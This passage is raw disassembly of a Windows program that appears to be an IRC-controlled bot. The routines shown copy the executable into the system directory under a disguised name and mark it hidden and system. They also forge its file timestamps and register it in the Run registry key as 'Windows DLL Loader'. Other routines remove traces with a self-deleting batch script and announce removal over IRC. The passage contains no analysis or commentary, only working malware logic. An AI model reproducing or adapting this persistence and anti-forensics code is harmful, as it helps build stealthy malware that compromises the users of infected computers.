loc_4066C8:				; CODE XREF: sub_40668F+59j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------


loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------


loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------


loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax


loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------


loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915


loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset dword_418B5C
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------


loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax


loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_418B54
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40	; strlen
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0


loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------


loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C	; free
		pop	ecx


loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_C]
		call	dword_417028	; RegCloseKey

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC40
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset dword_418DE0
		call	sub_416B7C	; fwrite
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC40
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------


loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417040	; GetWindowsDirectoryA
		push	offset dword_418DE8
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_417048	; GetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_41704C	; SetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_417014	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41703C	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417010	; RegSetValueExA
		jmp	short loc_406CED
; ---------------------------------------------------------------------------


loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417004	; RegDeleteValueA


loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	dword_417028	; RegCloseKey
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax


loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------


loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417038	; SetCurrentDirectoryA
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0


loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------


loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------


loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	dword_417068	; WriteFile
		push	[ebp+var_28]
		call	dword_4170A4	; CloseHandle
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: .data:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------


loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170AC	; DeleteFileA


loc_40707C:				; DATA XREF: .data:0041AD4Co
					; .data:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_4070AF
		push	offset dword_41EB2C
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	dword_41707C	; CreateProcessA
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: sub_402A32+7BBp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset dword_41EB2C
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess


loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------


loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------


loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset dword_41EB2C
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset dword_41EB2C
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
